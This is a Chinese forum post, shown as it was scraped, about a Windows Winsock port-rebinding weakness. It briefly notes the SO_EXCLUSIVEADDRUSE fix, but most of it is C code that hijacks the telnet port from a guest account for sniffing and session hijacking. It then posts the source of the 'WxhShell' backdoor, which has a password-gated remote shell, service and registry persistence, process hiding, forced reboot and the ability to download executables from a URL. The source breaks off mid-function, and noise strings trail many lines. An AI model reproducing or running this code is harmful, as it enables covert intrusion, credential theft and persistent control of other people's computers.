社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12073阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9%  wVE]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *l9Wj$vja  
ZPO+ #,  
  saddr.sin_family = AF_INET; $eQf5)5  
ynQ+yW74Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 83[gV@LW0m  
:@=;WB*0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ijuIf9!  
>dU.ic?19  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z<h?WsL  
?mME^?x Mu  
  这意味着什么?意味着可以进行如下的攻击: |9&bkojo  
]A%S&q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'Io2",~ M  
OMM5p=2Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >$ok3-tuU  
a*GiLq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )h>H}wDs  
)i$:iI >k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D$&LCW#x  
/jB 0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >r8$vQGj  
-]$=.0 l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S9@2-Oc  
6vL+qOdx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CG397Y^  
]\ DIJ>JZ  
  #include M>m+VsJV  
  #include fx#Krr @  
  #include R&P}\cf8T  
  #include    "gQA|NHwV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +`_Km5=  
  int main() C#3K.0a  
  { R|OY5@  
  WORD wVersionRequested; :.J]s<J(F  
  DWORD ret; "'zVwU  
  WSADATA wsaData; N |nZf5{  
  BOOL val; Qi?xx')  
  SOCKADDR_IN saddr; %<?U`o@*  
  SOCKADDR_IN scaddr; .R! /?eN  
  int err; S)L(~ N1  
  SOCKET s;  L4 )  
  SOCKET sc; 1nAAs;`'  
  int caddsize; 23_\UTM}1  
  HANDLE mt; Dc;zgLLL  
  DWORD tid;   7 8n`VmH~L  
  wVersionRequested = MAKEWORD( 2, 2 ); l<"Z?z  
  err = WSAStartup( wVersionRequested, &wsaData ); ~IIlCmMl,  
  if ( err != 0 ) { 7!r)[2l  
  printf("error!WSAStartup failed!\n"); vf-cx\y7  
  return -1; WN`|5"?$  
  } 2J0N]`|)  
  saddr.sin_family = AF_INET; *$/!.e  
   iM'rl0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z($h7TZ$  
eJ2$DgB}t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pko2fJt1  
  saddr.sin_port = htons(23); J*}Qnl+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?loP18S b  
  { xzrA%1y  
  printf("error!socket failed!\n"); {=A8kgt  
  return -1; yD\[`!sWk  
  } VHlo}Ek<#  
  val = TRUE; `j1(GQt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?V >{3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;c;5O@R}3  
  { S(MVL!Lm  
  printf("error!setsockopt failed!\n"); x}(p\Efx  
  return -1; 1 ^q~NYTK  
  } trAIh}Dj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KH_~DZU*5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eT<T[; m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8H<:?D/tH  
Zwm2T3@e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~SD8#;v2  
  { `Ir{ax&H.e  
  ret=GetLastError(); sPoH12?AL  
  printf("error!bind failed!\n"); *!p#1fE  
  return -1; rJ7yq|^Z  
  } 4y$tp1 8  
  listen(s,2); 2C@s-`b   
  while(1) kntM  
  { 8O='Q-& 8  
  caddsize = sizeof(scaddr); %g+*.8;"b  
  //接受连接请求  jcVK4jW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N sNk  
  if(sc!=INVALID_SOCKET) v$_YZm{!<  
  { :^H#i:4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c(5r  
  if(mt==NULL) fBZAO  
  { <~ 9a3c?  
  printf("Thread Creat Failed!\n"); nPh| rW=  
  break; ER4j=O#  
  } `:&jbd4H  
  } B^yA+&3HI  
  CloseHandle(mt); Cg4l*"_  
  } hantGw |  
  closesocket(s); 0Xx&Z8E  
  WSACleanup(); xfsf  
  return 0; kH9P(`;Vq  
  }   .*_uXQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) B!X;T9^d  
  { F\U^-/0,  
  SOCKET ss = (SOCKET)lpParam; GR ^d/  
  SOCKET sc; `L#`WC@[o  
  unsigned char buf[4096]; !`$xN~_  
  SOCKADDR_IN saddr; [ _N w5_  
  long num; gdKn!; ,w#  
  DWORD val; [Kc"L+H\  
  DWORD ret; QW[ gDc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I&lb5'6D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^w1&A 3=6  
  saddr.sin_family = AF_INET; `of` uB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i=mk#.j~  
  saddr.sin_port = htons(23);  WPnw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ay-M.J  
  { Rz\:)<G  
  printf("error!socket failed!\n"); {~u#.(  
  return -1; )CAEqP  
  } THcK,`lX@  
  val = 100; |'?./  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F\lnG  
  { Rx,Qw> #  
  ret = GetLastError(); /yhGc}h  
  return -1; Jq8CII  
  } $MPh\T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KbP( ;  
  { Iq%f*Zm<  
  ret = GetLastError(); FWu[{X;  
  return -1; y53f73Cg  
  } :e|[gEA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :1/K$A)^{  
  { kafRuO~$  
  printf("error!socket connect failed!\n"); d=J$H<  
  closesocket(sc); C[0*>W8o  
  closesocket(ss); byrK``f  
  return -1; dd{pF\a  
  } oI2YJ2?Je8  
  while(1) 5OS|Vp||b  
  { xQ{n|)i>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "?r=n@Kv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 45+w)Vf!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @s[Vtw%f  
  num = recv(ss,buf,4096,0); #Y9'n0 AL  
  if(num>0) '1u!@=.\G  
  send(sc,buf,num,0); ZA>p~Zt  
  else if(num==0) Y  c]  
  break; (}jYi*B  
  num = recv(sc,buf,4096,0); ,dZ&i! @?  
  if(num>0) S="teH[  
  send(ss,buf,num,0); `5$B"p&i  
  else if(num==0) *RpBKm&^7  
  break; /xseI)y.B  
  } wAn}ic".b  
  closesocket(ss); WhU-^`[*  
  closesocket(sc); p(J,fus  
  return 0 ; (Z{&[h  
  } *pMu,?uE  
<XAW-m9SC  
W{6%Hh p  
========================================================== djGzJLH  
+2WvGRC  
下边附上一个代码,,WXhSHELL H/Wo~$  
I<v:x Tor  
========================================================== -kZOve|5  
H[S 4o,  
#include "stdafx.h" =Y;w O8  
?~g X7{>  
#include <stdio.h> _ h7qS  
#include <string.h> !~Am1\02  
#include <windows.h> 4Z"JC9As  
#include <winsock2.h> "h>B`S  
#include <winsvc.h> _0uFe7sIZ  
#include <urlmon.h> f-M9OI  
ejID5NqG  
#pragma comment (lib, "Ws2_32.lib") U:[#n5g  
#pragma comment (lib, "urlmon.lib") Ie14`'  
w)u6J ,  
#define MAX_USER   100 // 最大客户端连接数 equTKM  
#define BUF_SOCK   200 // sock buffer ,*Vt53@E  
#define KEY_BUFF   255 // 输入 buffer pMfP3G7V  
kq m$a  
#define REBOOT     0   // 重启 X=Th  
#define SHUTDOWN   1   // 关机 k;AV  'r  
Uz&XqjS  
#define DEF_PORT   5000 // 监听端口 ==i:*  
fNkN  
#define REG_LEN     16   // 注册表键长度 V6.w=6:`X  
#define SVC_LEN     80   // NT服务名长度 Mr8r(LGY  
U <|h4'(@L  
// 从dll定义API %I&[:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;g M$%!&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sdWu6?B_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :mpR}.^hv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .^Z^L F  
!x, ;&  
// wxhshell配置信息 v;r!rZX  
struct WSCFG { mnwYv..ePz  
  int ws_port;         // 监听端口 LZ"yMnhOf  
  char ws_passstr[REG_LEN]; // 口令 W%)uKQha  
  int ws_autoins;       // 安装标记, 1=yes 0=no ebuR-9  
  char ws_regname[REG_LEN]; // 注册表键名 Ki"o0u  
  char ws_svcname[REG_LEN]; // 服务名 $xWebz0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :())%Xu3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qg(rG5kD@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X9d~r_2&m<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  YjV-70'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e=]>TeqG0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]I|3v]6qR  
:=I@<@82W  
}; h.`U)6*?&N  
XehpW}2\  
// default Wxhshell configuration @7C?]/8#  
struct WSCFG wscfg={DEF_PORT, o,#[Se*n  
    "xuhuanlingzhe", D m|_;iO,  
    1, %S2^i3  
    "Wxhshell", /%fa_+,|-  
    "Wxhshell", 0%9Nf!j  
            "WxhShell Service", iyRB}[y  
    "Wrsky Windows CmdShell Service", .Y?/J,Ch  
    "Please Input Your Password: ", AxXFzMW  
  1, .7!n%Ks  
  "http://www.wrsky.com/wxhshell.exe", 7Z(F-B +j  
  "Wxhshell.exe" 1 >nl ]yO  
    }; gx*rxid  
x@@U&.1_A  
// 消息定义模块 |] <eJ|\=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 41d,<E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c]y"5;V8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {u1Rc/Lw  
char *msg_ws_ext="\n\rExit."; 6__#n`  
char *msg_ws_end="\n\rQuit."; T2nbU6H  
char *msg_ws_boot="\n\rReboot..."; 7H1 ii   
char *msg_ws_poff="\n\rShutdown..."; 5g{L -8XwI  
char *msg_ws_down="\n\rSave to "; `3v! i   
I^5T9}>Q  
char *msg_ws_err="\n\rErr!"; ]G0`W6;$]  
char *msg_ws_ok="\n\rOK!"; YEEgDw]BQ  
x}w"2[fL  
char ExeFile[MAX_PATH]; '}`|QJ  
int nUser = 0; V ifQ@  
HANDLE handles[MAX_USER]; /<HEcB  
int OsIsNt; Y[A`r0  
=s2dD3Fr|  
SERVICE_STATUS       serviceStatus; t5%\`Yo?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *mc]Oa  
31w9$H N  
// 函数声明 ]m#.MZe  
int Install(void); 4)o_gm~6c4  
int Uninstall(void); :?Xd&u0){  
int DownloadFile(char *sURL, SOCKET wsh); 5 W<\J  
int Boot(int flag); x<0-'EF/S  
void HideProc(void); G%a8'3d,  
int GetOsVer(void); kH!I&4d&  
int Wxhshell(SOCKET wsl); hLVS}HE2  
void TalkWithClient(void *cs); h48JpZ"  
int CmdShell(SOCKET sock); [w%MECTe  
int StartFromService(void); 8-N8v *0  
int StartWxhshell(LPSTR lpCmdLine); RaK fYLw  
Q9lw~"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %f{1u5+5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d2Z kchf  
Q]';1#J\  
// 数据结构和表定义 H$^b.5K  
SERVICE_TABLE_ENTRY DispatchTable[] = 9I a4PPEH1  
{ ?G5JAG`  
{wscfg.ws_svcname, NTServiceMain}, .b4_O CGg  
{NULL, NULL} 9.KOrg5}L  
}; :qV}v2  
1_Um6vS#  
// 自我安装 *0 ;DCUv  
int Install(void) x*H4o{o0  
{ \haJe~  
  char svExeFile[MAX_PATH]; $c-h'o  
  HKEY key; dbkkx1{>Y  
  strcpy(svExeFile,ExeFile); Q0K4_iN)&  
00') Ol&  
// 如果是win9x系统,修改注册表设为自启动 wW3fsXu  
if(!OsIsNt) { `"0#lZ`n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C+r<DC3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y",Fs(  
  RegCloseKey(key); z$3 3NM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U _~lpu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {emO&#=@CP  
  RegCloseKey(key); 8oSndfV  
  return 0; $XFiH~GI  
    } XE_|H1&j  
  } tHSe>*eC  
} {x $H# <Y  
else { ^X6fgsjz  
tJ>OZ  
// 如果是NT以上系统,安装为系统服务 v;S7i>\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (+<SR5,/3  
if (schSCManager!=0) |Ire#0Nwx  
{ Do7&OBI~  
  SC_HANDLE schService = CreateService <RmI)g>'_^  
  ( %]JSDb=C  
  schSCManager, u>Z0ug6x  
  wscfg.ws_svcname, Epm\ =s  
  wscfg.ws_svcdisp, 3~"G(UP  
  SERVICE_ALL_ACCESS, fF208A7U I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .:tAZZ  
  SERVICE_AUTO_START, )5Ddvz>+  
  SERVICE_ERROR_NORMAL, A KO#$OJE  
  svExeFile, AL/q6PWi  
  NULL, \UI7H1XDH  
  NULL, ] X,C9  
  NULL, [&n2 yt  
  NULL, m~%\f8w-x  
  NULL @O}%sjC1  
  ); ;z;O}<8s  
  if (schService!=0) i,R<`K0  
  { Kk2PWJ7  
  CloseServiceHandle(schService); X>w(^L*>  
  CloseServiceHandle(schSCManager); ] (3e +JC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -LL49P6  
  strcat(svExeFile,wscfg.ws_svcname); \|Pp%U [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (W3~r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .jRp.U  
  RegCloseKey(key); etdI:N*x  
  return 0; Vx@JP93|  
    } SI=vA\e  
  } sE$!MQb  
  CloseServiceHandle(schSCManager); sQrP,:=r#  
} 'rJkxU{  
} A4.Q \0  
WJ$D]7  
return 1; * B!uYP  
} {J2*6_  
~6`HJ  
// 自我卸载 +E7s[9/r  
int Uninstall(void) -QL_a8NL  
{ {D1"bDZ  
  HKEY key; Ml1sE,BT  
<rc?EV  
if(!OsIsNt) { / %}Xiqlrd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^9zL[R  
  RegDeleteValue(key,wscfg.ws_regname);  V3WHp'1  
  RegCloseKey(key); +]-~UsM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bCY8CIF  
  RegDeleteValue(key,wscfg.ws_regname); tz-, |n0  
  RegCloseKey(key); ec/1Z8}p  
  return 0; =$6z1] ;3  
  } \Tf845  
} smQ<lwA  
} =Jfo=`da  
else { e&zZr]vs]l  
4QODuyl2H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Mp.jE  
if (schSCManager!=0) y@"6Dt|  
{ (j;s6g0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hER]%)#r  
  if (schService!=0) 7Z0fMk  
  { p`lv$ @q'  
  if(DeleteService(schService)!=0) { uh'{+E;=  
  CloseServiceHandle(schService); ]NS{q85  
  CloseServiceHandle(schSCManager); lAU`7uE  
  return 0; e;9Z/);#s  
  } }p 0 \  
  CloseServiceHandle(schService); HV@ C@wmg  
  } Su99A.w  
  CloseServiceHandle(schSCManager); SW|{)L,  
} _oK*1#Rm8  
} /?<o?IR~6  
H'E(gc)>)  
return 1; $s-/![ 6  
} VWqmqR%  
.}Va~[0j  
// 从指定url下载文件 9~i=Af@  
int DownloadFile(char *sURL, SOCKET wsh) 2TB>d+  
{ ssGp:{]v/  
  HRESULT hr; +jQHf-l  
char seps[]= "/"; &@CcH_d*  
char *token; EYNi`  
char *file; k@MAi*  
char myURL[MAX_PATH]; $'# hCs  
char myFILE[MAX_PATH]; qScc~i Oq  
b_2bg>|;  
strcpy(myURL,sURL); 8."B  
  token=strtok(myURL,seps); qyzmjV6J2  
  while(token!=NULL) Fd!Np7xw  
  { &Z!O   
    file=token; S- {=4b'  
  token=strtok(NULL,seps); / i[F  
  } yf3c- p  
/U\k<\1~m  
GetCurrentDirectory(MAX_PATH,myFILE); wq$+m (  
strcat(myFILE, "\\"); g{{DC )>  
strcat(myFILE, file); c'#w 8 V  
  send(wsh,myFILE,strlen(myFILE),0); V0 70oZ  
send(wsh,"...",3,0); % NSb8@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XdS&s}J[I  
  if(hr==S_OK) />^sGB  
return 0; Sep/N"7~t  
else 6! `^}4  
return 1; k# -u!G  
})~M}d2LXB  
} xZbiEDU  
pjG/`  
// 系统电源模块 .8[*`%K>  
int Boot(int flag) 2z*EamF  
{ u*n%cXY;J/  
  HANDLE hToken; $W}YXLFj?  
  TOKEN_PRIVILEGES tkp; T,G38  
-d'swx2aZ!  
  if(OsIsNt) { =(]yl_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N{kp^Byim0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B Oc2<M/\  
    tkp.PrivilegeCount = 1; \3K%>   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ULT,>S6r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /[V}   
if(flag==REBOOT) { N$&)gI:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :X+!W_xR  
  return 0; fX:=_c   
} PvHX#wJ  
else { P:8 qm DXo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cmcR @zv  
  return 0; X0FTD':f  
} n^[VN[ VC  
  } 5EX Ghc'  
  else { Xzn}gH]  
if(flag==REBOOT) { Sv#S_jh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;rj|>  
  return 0; ==!k99`f,  
} Crg@05Z  
else { MP6Py@J45  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?GT,Y5  
  return 0; aGz$A15#  
} %96l(JlJ)B  
} ~~iFs ,9  
br3r!Vuz/-  
return 1; l $:?82{  
} BJ*8mKi h  
3'jH,17lWV  
// win9x进程隐藏模块 Bw Cwy  
void HideProc(void) @h E7F}  
{ YQ$Wif:@(n  
U32&"&";c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o=)["V  
  if ( hKernel != NULL ) uXuA4o$t-  
  { sZh| <2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Va-.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (dnaT-M3  
    FreeLibrary(hKernel); 9D`p2cO  
  } GOU>j "5}2  
h8 !(WO!  
return; U$m[{r2M  
} N@x5h8  
W6&mXJ^3L  
// 获取操作系统版本 fN_Ilg)t?5  
int GetOsVer(void) ozUsp[W>  
{ OhW o  
  OSVERSIONINFO winfo; XGcl9FaO}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'z$!9ufY,  
  GetVersionEx(&winfo); S4C4_*~Vd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j 21>\K!p  
  return 1; 79d< ,q;uR  
  else %pUA$oUt  
  return 0; }!^`%\ %\  
} S]g`Ds<  
"NvB@>S  
// 客户端句柄模块 e\95X{_'  
int Wxhshell(SOCKET wsl) f\X7h6k8{  
{ 9R3YUW}s  
  SOCKET wsh; %T,cR>lw  
  struct sockaddr_in client; i-M<_62c  
  DWORD myID; (_nU}<y_i  
&pFP=|Pq  
  while(nUser<MAX_USER) %d^ =$Q  
{ *T-v^ndJh  
  int nSize=sizeof(client); f5P@PG]{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9iM[3uyO  
  if(wsh==INVALID_SOCKET) return 1; jpt-5@5O  
u!TMt8+c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P*g:rg  
if(handles[nUser]==0) cNG`-+U'  
  closesocket(wsh); /|WBk}  
else q vGP$g  
  nUser++; =v6qr~  
  } JLh{>_Rr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ocf:73t  
V*%Lc9<d  
  return 0; r68d\N`.  
} %mNd9 ]<  
tE"IE$$1  
// 关闭 socket TFI$>Oz|  
void CloseIt(SOCKET wsh) RCY}JH>}  
{ fK10{>E1  
closesocket(wsh); O)D+u@RhH  
nUser--; @,;VMO  
ExitThread(0); KvNw'3Ua  
} fDrjR6xV  
qK,PuD7i"  
// 客户端请求句柄 :$^cY>o  
void TalkWithClient(void *cs) l5<&pb#b  
{ qMmhVUx  
tE]Y=x[Ux  
  SOCKET wsh=(SOCKET)cs; .*{0[  
  char pwd[SVC_LEN]; OY,iz  
  char cmd[KEY_BUFF]; d_)VeuE2  
char chr[1]; =@s{H +  
int i,j; DpvMY94Qh  
%3es+A@  
  while (nUser < MAX_USER) { J?oEzf;M  
8Uoqj=5F  
if(wscfg.ws_passstr) { 3}nkTZG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dH~i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [w?v !8l  
  //ZeroMemory(pwd,KEY_BUFF); uU!}/mbo  
      i=0; &b=OT%D~FU  
  while(i<SVC_LEN) { Z>_F:1x  
M&5De{LS}  
  // 设置超时 {8w,{p`  
  fd_set FdRead; qU+q Y2S:  
  struct timeval TimeOut; vxl!`$Pi  
  FD_ZERO(&FdRead); [KNA5(Y0  
  FD_SET(wsh,&FdRead); SxW.dT8{  
  TimeOut.tv_sec=8; ;, ^AR{+x  
  TimeOut.tv_usec=0; IZ&FNOSZ+4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v 0D@`C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0'O6-1Li  
P*3PDa@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f;]C8/W  
  pwd=chr[0]; j)Y68fKK  
  if(chr[0]==0xd || chr[0]==0xa) { ^wMZG'/  
  pwd=0; x2Dg92  
  break; B; r` 1 G  
  } ?7\$zn)v#  
  i++; [f#7~  
    } (x1 #_~  
hs?cV)hDS  
  // 如果是非法用户,关闭 socket ITf4PxF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FGu#Pa  
} L /V;;  
04@?Jb1*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f1 Zj:3e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /m8&E*+T1  
 b =R9@!  
while(1) { 4nU+Wj?T  
U%l<48@8  
  ZeroMemory(cmd,KEY_BUFF); RZTC+ylj  
e)2w&2i`(F  
      // 自动支持客户端 telnet标准   d5l].%~  
  j=0; d/l>~%bR  
  while(j<KEY_BUFF) { k*!f@ M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C$7dmGjZ  
  cmd[j]=chr[0]; C#:L.qK  
  if(chr[0]==0xa || chr[0]==0xd) { 2_ CJV  
  cmd[j]=0; :i/uRR  
  break; ^8{:RiN6e~  
  } BiD}C  
  j++; OG{vap)  
    } TmUN@h  
q#*b4q {  
  // 下载文件  :qrCqFl  
  if(strstr(cmd,"http://")) { MznMt2-u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BOWR}n!g  
  if(DownloadFile(cmd,wsh)) ["SD'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @%4tWE  
  else 7(]M`bBH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=[?T f  
  } G*W54[  
  else { ),&tF_z:  
0/,Dy2h  
    switch(cmd[0]) { < SvjvV  
  ~.&2N Ur  
  // 帮助 w0Y V87  
  case '?': { 31`Eq*Y)4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lWWy|r'il  
    break; I9g!#lbl  
  } 8 CCA}lOG  
  // 安装 v)-:0 f  
  case 'i': { y4`uU1=  
    if(Install()) )~=g}&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N^xk.O_TO  
    else AlhPT (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~WX40z  
    break; 2pV@CT  
    } ]2@g 5H}M  
  // 卸载 3p#BEH<re  
  case 'r': { iw0|A  
    if(Uninstall()) ~#nbD-*#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;/)u/[KAv  
    else  Mt   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y3Lq"?h  
    break;  ];hK5  
    } [zc8f  
  // 显示 wxhshell 所在路径 V jZx{1kCR  
  case 'p': { 8bW,.to(?x  
    char svExeFile[MAX_PATH]; 9 t o2V  
    strcpy(svExeFile,"\n\r"); }4wIfI83K,  
      strcat(svExeFile,ExeFile); :Mzkm^7B  
        send(wsh,svExeFile,strlen(svExeFile),0); bYB:Fe=2  
    break; ~-K<gT/  
    } /4bHN:I]M  
  // 重启 z<z\)  
  case 'b': { kbKGGn4u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X}R Q&k  
    if(Boot(REBOOT)) 8w L%(p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,e!9WKJ B  
    else { 3W.5 [;}  
    closesocket(wsh); JF-ew"o<E  
    ExitThread(0); /d prs(*K  
    } v5g]_v*F  
